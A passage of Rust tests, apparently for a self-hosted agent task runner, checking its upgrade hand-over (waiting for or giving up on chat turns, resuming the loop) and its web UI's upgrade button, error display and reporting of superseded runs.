15567    #[tokio::test]
15568    async fn health_does_not_call_a_live_parking_wait_stuck() {
15569        let fx = Fixture::start().await;
15570        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15571        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15572        progress.advance(crate::updater::Stage::Parking);
15573        let hours = Duration::from_secs(3 * 3600);
15574        progress.started_at = Timestamp::now() - hours;
15575        progress.updated_at = Timestamp::now() - hours;
15576        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15577        let _lease = crate::updater::LeaseGuard::enter(
15578            fx.home.path(),
15579            Some("20260905-000000-cd51".to_owned()),
15580        );
15581
15582        let health = fx.get("/api/health").await.json();
15583        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15584        assert!(health["upgrade"]["stuck_kind"].is_null());
15585        assert_eq!(health["upgrade"]["handover_alive"], true);
15586        let waiting_on = health["upgrade"]["waiting_on"]
15587            .as_str()
15588            .expect("waiting_on");
15589        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15590    }
15591
15592    fn idle_ui(home: &TempDir) -> Ui {
15593        let runs = home.path().join("runs");
15594        std::fs::create_dir_all(&runs).expect("runs dir");
15595        Ui::new(
15596            Queue::at(home.path().join("queue")),
15597            Questions::at(home.path().join("questions")),
15598            Talks::at(home.path().join("talks")),
15599            runs,
15600            home.path().to_path_buf(),
15601            PathBuf::from("/repo/magi"),
15602        )
15603        .with_launch(launch_idle)
15604    }
15605
15606    async fn park_fixture(
15607        home: &TempDir,
15608    ) -> (
15609        Ui,
15610        Arc<Mutex<LoopState>>,
15611        Arc<Mutex<TalkTurns>>,
15612        tokio::task::JoinHandle<std::io::Result<()>>,
15613    ) {
15614        let ui = idle_ui(home);
15615        let looping = ui.looping();
15616        let turns = ui.turns();
15617        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15618            .await
15619            .expect("bind loopback");
15620        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15621        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15622        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15623        (ui, looping, turns, served)
15624    }
15625
15626    /// The hand-over does not release the address while a chat turn is in
15627    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
15628    /// started once the turn ends.
15629    #[tokio::test]
15630    async fn hand_over_waits_for_a_running_chat_turn() {
15631        let home = TempDir::new().expect("temp home");
15632        let (ui, looping, turns, served) = park_fixture(&home).await;
15633        let ui = Arc::new(ui);
15634        let id = "20260901-000000-chat";
15635        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15636
15637        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15638        let handover = tokio::spawn({
15639            let home = home.path().to_path_buf();
15640            let turns = Arc::clone(&turns);
15641            let calls = Arc::clone(&calls);
15642            async move {
15643                hand_over(
15644                    &home,
15645                    &looping,
15646                    &turns,
15647                    &|_: &[String]| Duration::from_secs(60),
15648                    served,
15649                    move |_| {
15650                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15651                        Ok(1)
15652                    },
15653                )
15654                .await
15655            }
15656        });
15657
15658        let waiting = async {
15659            for _ in 0..200 {
15660                if crate::updater::read_progress(home.path())
15661                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
15662                {
15663                    return;
15664                }
15665                tokio::time::sleep(Duration::from_millis(25)).await;
15666            }
15667            panic!("the park never named the chat turn");
15668        };
15669        waiting.await;
15670        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15671
15672        // A new turn is refused, a queued claim and a direct `/say` see a busy
15673        // slot, and nothing new is live.
15674        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15675        assert!(
15676            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15677            "a direct start says an upgrade is in progress"
15678        );
15679        assert!(
15680            ui.begin_queued_talk_turn("20260901-000000-late")
15681                .expect("queued claim")
15682                .is_none()
15683        );
15684        assert!(matches!(
15685            ui.begin_talk_turn_unless_pending("20260901-000000-late")
15686                .expect("start"),
15687            TalkTurnStart::Busy
15688        ));
15689        assert_eq!(turns.lock().unwrap().live.len(), 1);
15690
15691        // The health text names the turn.
15692        let progress = crate::updater::read_progress(home.path()).expect("progress");
15693        let view = upgrade_progress_view(&ui, progress);
15694        assert!(
15695            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15696            "{:?}",
15697            view.waiting_on
15698        );
15699
15700        assert!(!handover.is_finished());
15701        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15702        drop(turn);
15703        handover.await.expect("join").expect("hand over");
15704        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15705        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15706    }
15707
15708    /// Chat stays open while the loop is still parking, and closes only once
15709    /// the loop is done; a turn started during the park is waited for.
15710    #[tokio::test]
15711    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15712        let home = TempDir::new().expect("temp home");
15713        let (ui, looping, turns, served) = park_fixture(&home).await;
15714        let ui = Arc::new(ui);
15715        // A loop that ends only when told to.
15716        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15717        lock_or_recover(&looping).live = Some(Live {
15718            stop: daemon::Stop::new(),
15719            handle: tokio::spawn(async move {
15720                let _ = loop_ended.await;
15721            }),
15722            opts: daemon::Opts::default(),
15723        });
15724
15725        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15726        let handover = tokio::spawn({
15727            let home = home.path().to_path_buf();
15728            let turns = Arc::clone(&turns);
15729            let calls = Arc::clone(&calls);
15730            async move {
15731                hand_over(
15732                    &home,
15733                    &looping,
15734                    &turns,
15735                    &|_: &[String]| Duration::from_secs(60),
15736                    served,
15737                    move |_| {
15738                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15739                        Ok(1)
15740                    },
15741                )
15742                .await
15743            }
15744        });
15745
15746        let reached = async {
15747            for _ in 0..200 {
15748                if crate::updater::read_progress(home.path())
15749                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15750                {
15751                    return;
15752                }
15753                tokio::time::sleep(Duration::from_millis(25)).await;
15754            }
15755            panic!("the hand-over never reached parking");
15756        };
15757        reached.await;
15758
15759        // The loop is still parking: a chat turn starts.
15760        assert!(!turns.lock().unwrap().parking);
15761        let turn = ui
15762            .begin_talk_turn("20260901-000000-chat")
15763            .expect("claim")
15764            .expect("a turn can start while the loop parks");
15765
15766        // The loop ends; the slot closes while the first turn is still held.
15767        end_loop.send(()).expect("loop still waiting");
15768        for _ in 0..200 {
15769            if turns.lock().unwrap().parking {
15770                break;
15771            }
15772            tokio::time::sleep(Duration::from_millis(25)).await;
15773        }
15774        assert!(
15775            turns.lock().unwrap().parking,
15776            "closed once the loop is done"
15777        );
15778        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15779        assert!(
15780            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15781            "no turn starts once the loop is done"
15782        );
15783        assert!(
15784            ui.begin_queued_talk_turn("20260901-000000-late")
15785                .expect("queued claim")
15786                .is_none()
15787        );
15788        assert!(!handover.is_finished());
15789        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15790
15791        drop(turn);
15792        handover.await.expect("join").expect("hand over");
15793        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15794        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15795    }
15796
15797    /// A turn that never ends cannot block the upgrade: past the bound the
15798    /// hand-over proceeds and records which talk it gave up on.
15799    #[tokio::test]
15800    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15801        let home = TempDir::new().expect("temp home");
15802        let (ui, looping, turns, served) = park_fixture(&home).await;
15803        let id = "20260901-000000-stuk";
15804        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15805
15806        let calls = std::sync::atomic::AtomicUsize::new(0);
15807        hand_over(
15808            home.path(),
15809            &looping,
15810            &turns,
15811            &|_: &[String]| Duration::from_millis(300),
15812            served,
15813            |_| {
15814                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15815                Ok(1)
15816            },
15817        )
15818        .await
15819        .expect("hand over");
15820        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15821
15822        let progress = crate::updater::read_progress(home.path()).expect("progress");
15823        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15824        assert!(
15825            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15826            "{:?}",
15827            progress.detail
15828        );
15829        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15830        assert!(
15831            log.contains("handing over anyway") && log.contains(id),
15832            "{log}"
15833        );
15834    }
15835
15836    /// A drain that finds the upgrade parking leaves the queued draft alone
15837    /// and gives the slot up, instead of starting another turn.
15838    #[tokio::test]
15839    async fn drain_loop_starts_no_turn_while_parking() {
15840        let tmp = TempDir::new().expect("tempdir");
15841        let repo = tmp.path().join("repo");
15842        std::fs::create_dir_all(&repo).expect("repo dir");
15843        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15844        let home = TempDir::new().expect("temp home");
15845        let talks = Talks::at(home.path().join("talks"));
15846        let ui = Ui::new(
15847            Queue::at(home.path().join("queue")),
15848            Questions::at(home.path().join("questions")),
15849            talks.clone(),
15850            home.path().join("runs"),
15851            home.path().to_path_buf(),
15852            repo.clone(),
15853        )
15854        .with_worktrees_root(home.path().join("wt"));
15855        let cfg = config_for(&repo).await.expect("discover config");
15856        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15857        let id = talk.id.clone();
15858        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15859        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15860        let turns = ui.turns();
15861        let parking = ParkingTurns::begin(&turns);
15862
15863        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15864
15865        assert!(
15866            turns.lock().unwrap().live.is_empty(),
15867            "the slot is given up"
15868        );
15869        let fresh = talks.get(&id).expect("talk");
15870        assert_eq!(fresh.pending, "later", "the draft is still queued");
15871        assert!(fresh.turns.is_empty(), "no turn ran");
15872        drop(parking);
15873    }
15874
15875    /// Run `hand_over` against `ui` and return what the successor was told.
15876    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15877        let looping = ui.looping();
15878        let turns = ui.turns();
15879        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15880            .await
15881            .expect("bind loopback");
15882        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15883        let told = std::sync::Mutex::new(None);
15884        hand_over(
15885            home.path(),
15886            &looping,
15887            &turns,
15888            &|_: &[String]| Duration::from_secs(5),
15889            served,
15890            |resume| {
15891                *told.lock().unwrap() = Some(resume);
15892                Ok(1)
15893            },
15894        )
15895        .await
15896        .expect("hand over");
15897        told.into_inner().unwrap().expect("successor was started")
15898    }
15899
15900    #[tokio::test]
15901    async fn a_running_loop_is_resumed_by_the_successor() {
15902        let home = TempDir::new().expect("temp home");
15903        let ui = idle_ui(&home);
15904        ui.start_loop(None).expect("start");
15905        ui.park_for_upgrade().expect("park");
15906        // The idle loop sees the park and ends before the handover fires.
15907        for _ in 0..500 {
15908            if !ui.loop_view(None).running {
15909                break;
15910            }
15911            tokio::time::sleep(Duration::from_millis(2)).await;
15912        }
15913        assert!(handed_over(&home, ui).await, "a running loop must resume");
15914
15915        let successor = idle_ui(&home);
15916        assert!(!successor.loop_view(None).running);
15917        assert!(successor.resume_after_handover(true));
15918        assert!(successor.loop_view(None).running);
15919        successor.stop_loop(None, false).expect("stop");
15920    }
15921
15922    #[tokio::test]
15923    async fn a_second_upgrade_request_keeps_the_resume_intent() {
15924        let home = TempDir::new().expect("temp home");
15925        let ui = idle_ui(&home);
15926        ui.start_loop(None).expect("start");
15927        ui.park_for_upgrade().expect("first park");
15928        ui.park_for_upgrade().expect("second park");
15929        assert!(handed_over(&home, ui).await);
15930    }
15931
15932    #[tokio::test]
15933    async fn a_stop_during_the_handover_wait_is_honoured() {
15934        let home = TempDir::new().expect("temp home");
15935        let ui = idle_ui(&home);
15936        ui.start_loop(None).expect("start");
15937        ui.park_for_upgrade().expect("park");
15938        ui.stop_loop(None, false).expect("stop");
15939        assert!(!handed_over(&home, ui).await);
15940    }
15941
15942    #[tokio::test]
15943    async fn an_idle_loop_stays_stopped_across_the_handover() {
15944        let home = TempDir::new().expect("temp home");
15945        let ui = idle_ui(&home);
15946        ui.park_for_upgrade().expect("park");
15947        assert!(!handed_over(&home, ui).await);
15948
15949        let successor = idle_ui(&home);
15950        assert!(!successor.resume_after_handover(false));
15951        assert!(!successor.loop_view(None).running);
15952    }
15953
15954    #[tokio::test]
15955    async fn a_loop_the_operator_stopped_is_not_resumed() {
15956        let home = TempDir::new().expect("temp home");
15957        let ui = idle_ui(&home);
15958        ui.start_loop(None).expect("start");
15959        ui.stop_loop(None, false).expect("stop");
15960        ui.park_for_upgrade().expect("park");
15961        assert!(!handed_over(&home, ui).await);
15962    }
15963
15964    #[test]
15965    fn only_an_explicit_one_requests_a_resume() {
15966        assert!(!resume_requested(None));
15967        assert!(!resume_requested(Some("0".into())));
15968        assert!(!resume_requested(Some("".into())));
15969        assert!(resume_requested(Some("1".into())));
15970    }
15971
15972    #[test]
15973    fn the_upgrade_button_arms_before_it_restarts_anything() {
15974        // It ends the process the operator is talking to, and a phone in a
15975        // pocket taps things. One tap arms, the second commits.
15976        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15977        assert!(APP_JS.contains("Replace the binary and restart?"));
15978        assert!(APP_JS.contains("function confirmed("));
15979        // Hidden when the loop is somebody else's, matching the 409 above -
15980        // and hidden with nothing to install, matching the 200 "already
15981        // current" branch: an operator on the newest build must not be
15982        // offered a restart that would only park a run for nothing.
15983        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15984        // A park waits for the node in flight, up to an hour for an implement
15985        // wave. Leaving the button reading "Upgrading…" for that long is the
15986        // same mistake as an error rendered off screen: it looks wedged.
15987        assert!(
15988            APP_JS.contains("Parking, then restarting"),
15989            "the button says what it is waiting for"
15990        );
15991        // And nothing to install must give the button back rather than
15992        // pretending a restart is coming.
15993        assert!(APP_JS.contains("if (!out.to)"));
15994    }
15995
15996    #[test]
15997    fn stopping_the_loop_arms_but_starting_does_not() {
15998        // A stray tap must not leave the queue stopped overnight, so a stop is
15999        // two taps through the same helper the upgrade uses; a start stays one.
16000        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16001        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16002        assert!(APP_JS.contains("confirmed(button, question)"));
16003        // The label put back on timeout is the one saved when arming, not a
16004        // hard-coded upgrade caption that would rename the stop button.
16005        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
16006        assert!(APP_JS.contains("const label = btn.textContent;"));
16007        assert!(!APP_JS.contains("Neither direction is guarded"));
16008    }
16009
16010    #[test]
16011    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16012        assert!(
16013            APP_JS.contains("state.health.version"),
16014            "the operator wants to know what is running even with nothing newer"
16015        );
16016        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16017    }
16018
16019    #[test]
16020    fn the_upgrade_button_names_its_destination() {
16021        assert!(
16022            APP_JS.contains("`Update to ${update.to}`"),
16023            "pressing the button should not be a surprise about what it moves to"
16024        );
16025    }
16026
16027    #[test]
16028    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16029        for stage in ["downloading", "replaced", "parking", "restarting"] {
16030            assert!(
16031                APP_JS.contains(&format!("\"{stage}\"")),
16032                "the phone must be able to tell {stage} apart from the others"
16033            );
16034        }
16035        assert!(APP_JS.contains(".waiting_on"));
16036        // What replaced the bare "Cannot reach magi: Failed to fetch": a
16037        // fetch failing while an upgrade is in flight is not an error, it is
16038        // the sub-second gap `bind_waiting` covers, and it must not be
16039        // reported as one.
16040        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16041        assert!(APP_JS.contains("reconnects on its own"));
16042    }
16043
16044    #[test]
16045    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16046        // `Stage::Failed` is terminal on the server and nothing clears it on
16047        // its own - not a fresh start, not time passing - so a full-strip
16048        // takeover for it (the way the busy stages take the strip over,
16049        // correctly, because those are transient) would have hidden
16050        // start/stop/park behind an upgrade notice with no way back short of
16051        // a person editing `upgrade.json` by hand or a later release
16052        // happening to succeed. The failure must instead ride along as a note
16053        // next to whatever control the loop's own state already offers.
16054        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16055            ..APP_JS.find("function upgrade(").expect("upgrade")];
16056        assert!(
16057            !body.contains(
16058                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
16059            ),
16060            "a failed upgrade must not take the whole strip over the way it used to"
16061        );
16062        assert!(
16063            body.contains("upgradeFailNote"),
16064            "the failure has to reach the loop's own note instead"
16065        );
16066        // `quiet` and `control` are the only two places `loop-why` is set from
16067        // this function's own state; both must carry the note through, or a
16068        // future edit to either one would silently drop it again.
16069        assert_eq!(
16070            body.matches("upgradeFailNote].filter(Boolean).join")
16071                .count(),
16072            2,
16073            "both loop-why writers (quiet and control) must fold the note in"
16074        );
16075    }
16076
16077    #[test]
16078    fn an_overdue_upgrade_eventually_asks_for_a_human() {
16079        // The ceiling has to clear a full hour-long park with room to spare,
16080        // or an ordinary implement wave would be reported as a stuck upgrade.
16081        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16082        assert!(APP_JS.contains("function upgradeOverdue("));
16083    }
16084
16085    #[test]
16086    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16087        assert!(
16088            APP_JS.contains("Updated to ${upgradeInfo.to"),
16089            "the operator who asked for the restart wants to know it worked"
16090        );
16091    }
16092
16093    #[test]
16094    fn an_error_is_visible_from_where_the_button_is() {
16095        // The alert used to sit in the flow under the header. On a phone
16096        // scrolled 13 500 px down to a run's action sheet that is off screen,
16097        // so tapping Resume and being told "the loop is running run b455
16098        // right now" looked exactly like a button that did nothing.
16099        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16100            ..APP_CSS.find(".alert-text").expect(".alert-text")];
16101        assert!(
16102            alert.contains("position: fixed"),
16103            "an error about the thing under your thumb has to be visible from \
16104             where your thumb is: {alert}"
16105        );
16106        assert!(
16107            alert.contains("z-index: 25"),
16108            "above the dock (20) and the run-actions FAB (15), so neither \
16109             buries it: {alert}"
16110        );
16111        assert!(
16112            alert.contains("var(--tap)"),
16113            "and clear of the dock and the home indicator: {alert}"
16114        );
16115        // The FAB sits at the same height on the right. An error that covered
16116        // it would hide the button the operator reaches for next.
16117        assert!(
16118            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16119            "the FAB's column stays free: {alert}"
16120        );
16121    }
16122
16123    #[tokio::test]
16124    async fn an_older_attempt_says_what_replaced_it() {
16125        let fx = Fixture::start().await;
16126        let q = fx.queue();
16127        let runs = fx.runs();
16128        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16129        write_run(&runs, first, RunStatus::Stalled);
16130        write_run(&runs, second, RunStatus::Blocked);
16131
16132        let mut t = Task::new(
16133            "one task".to_owned(),
16134            "do it".to_owned(),
16135            PathBuf::from("/repo"),
16136            Source::Human,
16137        );
16138        t.runs = vec![first.to_owned(), second.to_owned()];
16139        q.put(&mut t).expect("put");
16140
16141        // Two cards with the same title and no hint which is which was the
16142        // question: "why are there two of the same, one stalled and one
16143        // blocked?" The older one now names its replacement.
16144        let rows = fx.get("/api/runs").await.json();
16145        let by = |short: &str| -> Value {
16146            rows.as_array()
16147                .unwrap()
16148                .iter()
16149                .find(|r| r["short"] == short)
16150                .cloned()
16151                .unwrap_or(Value::Null)
16152        };
16153        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16154        assert!(
16155            by("bbbb")["superseded_by"].is_null(),
16156            "the latest attempt is not superseded by anything"
16157        );
16158        // Front end: the note has to be rendered, not just carried.
16159        assert!(APP_JS.contains("run.superseded_by"));
16160        assert!(APP_JS.contains("Superseded by"));
16161    }
16162
16163    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16164        let mut t = Task::new(
16165            "one task".to_owned(),
16166            "do it".to_owned(),
16167            PathBuf::from("/repo"),
16168            Source::Human,
16169        );
16170        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16171        t.status = status;
16172        t
16173    }
16174
16175    #[test]
16176    fn source_link_picks_the_page_that_filed_the_task() {
16177        let agent = |node: &str| Source::Agent {
16178            run: "20260904-014455-ab12".to_owned(),
16179            node: node.to_owned(),
16180        };
16181        let chat = source_link(&agent("chat")).expect("chat link");
16182        assert_eq!(chat.kind, "chat");
16183        assert_eq!(chat.id, "20260904-014455-ab12");
16184        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16185        let run = source_link(&agent("implement")).expect("run link");
16186        assert_eq!(
16187            (run.kind, run.href.as_str()),
16188            ("run", "#/runs/20260904-014455-ab12")
16189        );
16190        assert_eq!(source_link(&Source::Human), None);
16191        assert_eq!(
16192            source_link(&Source::Issue {
16193                number: 3,
16194                repo: "o/r".to_owned()
16195            }),
16196            None
16197        );
16198        let odd = source_link(&Source::Agent {
16199            run: "a b/c".to_owned(),
16200            node: "chat".to_owned(),
16201        })
16202        .expect("link");
16203        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16204    }
16205
16206    #[test]
16207    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16208        assert!(
16209            !APP_JS.contains("src.node === \"chat\""),
16210            "inline href rule is back"
16211        );
16212        assert!(
16213            APP_JS.matches("sourceLinkOf(").count() >= 4,
16214            "helper must serve every page"
16215        );
16216        assert!(
16217            APP_JS.matches("openChatLink(").count() >= 3,
16218            "the run page still needs its explicit chat link"
16219        );
16220        assert!(
16221            !APP_JS.contains("const openChat = el("),
16222            "the Queue card duplicates its source label link again"
16223        );
16224        assert!(
16225            APP_JS.contains("metaKids.push(link ? el(\"a\""),
16226            "the task page must link a chat source label too"
16227        );
16228    }
16229
16230    #[test]
16231    fn task_ref_carries_the_source_link_for_a_chat_task() {
16232        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16233        t.source = Source::Agent {
16234            run: "20260904-014455-ab12".to_owned(),
16235            node: "chat".to_owned(),
16236        };
16237        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16238        let v = serde_json::to_value(&out).expect("json");
16239        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16240        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16241        assert_eq!(v["source_label"], t.source.label());
16242
16243        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16244        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16245            .expect("json");
16246        assert!(v["source_link"].is_null(), "{v}");
16247    }
16248
16249    #[test]
16250    fn task_view_serializes_source_link() {
16251        let mut t = Task::new(
16252            "t".to_owned(),
16253            "t".to_owned(),
16254            PathBuf::from("/repo"),
16255            Source::Agent {
16256                run: "20260901-000000-aaaa".to_owned(),
16257                node: "implement".to_owned(),
16258            },
16259        );
16260        t.runs.clear();
16261        let v = serde_json::to_value(TaskView::from(t)).expect("json");
16262        assert_eq!(v["source_link"]["kind"], "run", "{v}");
16263        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16264    }
16265
16266    #[tokio::test]
16267    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16268        let fx = Fixture::start().await;
16269        let runs = fx.runs();
16270        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16271        write_run(&runs, old, RunStatus::Blocked);
16272        write_run(&runs, new, RunStatus::Merged);
16273        let mut t = outcome_task(&[old, new], TaskStatus::Done);
16274        fx.queue().put(&mut t).expect("put");
16275
16276        let view = fx.get(&format!("/api/runs/{old}")).await.json();
16277        let task = &view["task"];
16278        assert_eq!(task["status"], "done");
16279        assert_eq!(task["is_latest"], false);
16280        assert_eq!(task["latest"]["short"], "bbbb");
16281        assert_eq!(task["finished_by"]["id"], new);
16282        assert_eq!(task["finished_by"]["outcome"], "merged");
16283        assert_eq!(task["closed_by_hand"], false);
16284        assert_eq!(view["status"], "blocked", "the run keeps its own status");
16285        assert!(APP_JS.contains("finished_by"));
16286        assert!(APP_JS.contains("superseded by run"));
16287    }
16288
16289    #[tokio::test]
16290    async fn the_latest_run_reports_a_held_task_without_a_successor() {
16291        let fx = Fixture::start().await;
16292        let runs = fx.runs();
16293        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16294        write_run(&runs, old, RunStatus::Stalled);
16295        write_run(&runs, new, RunStatus::Blocked);
16296        let mut t = outcome_task(&[old, new], TaskStatus::Held);
16297        fx.queue().put(&mut t).expect("put");
16298
16299        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16300        assert_eq!(task["status"], "held");
16301        assert_eq!(task["is_latest"], true);
16302        assert!(task["latest"].is_null());
16303        assert!(task["finished_by"].is_null());
16304        assert_eq!(task["closed_by_hand"], false);
16305    }
16306
16307    #[tokio::test]
16308    async fn a_direct_run_has_no_task_outcome() {
16309        let fx = Fixture::start().await;
16310        let runs = fx.runs();
16311        let id = "20260901-000000-aaaa";
16312        write_run(&runs, id, RunStatus::Blocked);
16313        let view = fx.get(&format!("/api/runs/{id}")).await.json();
16314        assert!(view["task"].is_null());
16315    }
16316
16317    #[test]
16318    fn task_outcome_does_not_guess_a_finishing_run() {
16319        let a = "20260901-000000-aaaa";
16320        let b = "20260901-000000-bbbb";
16321        let c = "20260901-000000-cccc";
16322        let dir = tempfile::tempdir().expect("tempdir");
16323        write_run(dir.path(), a, RunStatus::Blocked);
16324        write_run(dir.path(), b, RunStatus::VerifiedNoop);
16325        // `c` has no record: unreadable.
16326        let read = |id: &str| read_run(dir.path(), id).ok();
16327        // Neither a blocked run nor a no-op finished the task; the newest run is
16328        // unreadable and still named.
16329        let t = outcome_task(&[a, b, c], TaskStatus::Done);
16330        let out = task_outcome(&t, a, 3, read);
16331        assert!(out.finished_by.is_none());
16332        assert!(out.closed_by_hand);
16333        let latest = out.latest.expect("latest");
16334        assert_eq!(latest.id, c);
16335        assert_eq!(latest.status, None);
16336        assert_eq!(latest.outcome, "record unreadable");
16337
16338        // A Ready run settles the task as done, so it is named as the finisher.
16339        write_run(dir.path(), c, RunStatus::Ready);
16340        let t = outcome_task(&[a, c], TaskStatus::Done);
16341        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16342        assert_eq!(out.finished_by.expect("finisher").id, c);
16343        assert!(!out.closed_by_hand);
16344
16345        // A resumed run id repeats: it is still the latest by id.
16346        let t = outcome_task(&[a, b, a], TaskStatus::Held);
16347        assert!(task_outcome(&t, a, 3, read).is_latest);
16348    }
16349
16350    #[tokio::test]
16351    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16352        // The list route has known this since the card fix above; the detail
16353        // route — what an operator actually opens from a notification about
16354        // a blocked run — did not, and went on showing a bare red BLOCKED
16355        // chip for a run a retry had already finished.
16356        let fx = Fixture::start().await;
16357        let q = fx.queue();
16358        let runs = fx.runs();
16359        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16360        write_run(&runs, first, RunStatus::Blocked);
16361        write_run(&runs, second, RunStatus::Merged);
16362
16363        let mut t = Task::new(
16364            "one task".to_owned(),
16365            "do it".to_owned(),
16366            PathBuf::from("/repo"),
16367            Source::Human,
16368        );
16369        t.runs = vec![first.to_owned(), second.to_owned()];
16370        q.put(&mut t).expect("put");
16371
16372        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16373        assert_eq!(earlier["superseded_by"], "dddd");
16374        assert_eq!(earlier["latest_attempt"]["id"], second);
16375        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16376        assert_eq!(
16377            earlier["latest_attempt"]["resolved"], true,
16378            "the run that replaced it landed, so this one reads as settled"
16379        );
16380
16381        let later = fx.get(&format!("/api/runs/{second}")).await.json();
16382        assert!(
16383            later["superseded_by"].is_null(),
16384            "the latest attempt is not superseded by anything"
16385        );
16386        assert!(
16387            later["latest_attempt"].is_null(),
16388            "the latest attempt has no later attempt of its own"
16389        );
16390
16391        // Front end: the detail page has to read the field this route now
16392        // carries, downgrade the chip, and link to the run that replaced it —
16393        // not just repeat the list card's own logic under a different name.
16394        // The link is built off `latest_attempt.id`, the server-resolved
16395        // full id, never a bare short string a client would have to guess a
16396        // full run from.
16397        assert!(APP_JS.contains("run.latest_attempt"));
16398        assert!(APP_JS.contains("data-superseded"));
16399        assert!(APP_JS.contains("#/runs/${latest.id}"));
16400    }
16401
16402    #[tokio::test]
16403    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16404        // A -> B -> C, all Blocked except the last. A's immediate successor
16405        // (superseded_by) is B, which is itself unresolved; what an operator
16406        // opening A's page actually needs is where the task's story stands
16407        // *now* - C, not B - without depending on whether C happens to be in
16408        // whatever page of /api/runs the client last cached.
16409        let fx = Fixture::start().await;
16410        let q = fx.queue();
16411        let runs = fx.runs();
16412        let (a, b, c) = (
16413            "20260901-000000-aaaa",
16414            "20260901-000000-bbbb",
16415            "20260901-000000-cccc",
16416        );
16417        write_run(&runs, a, RunStatus::Blocked);
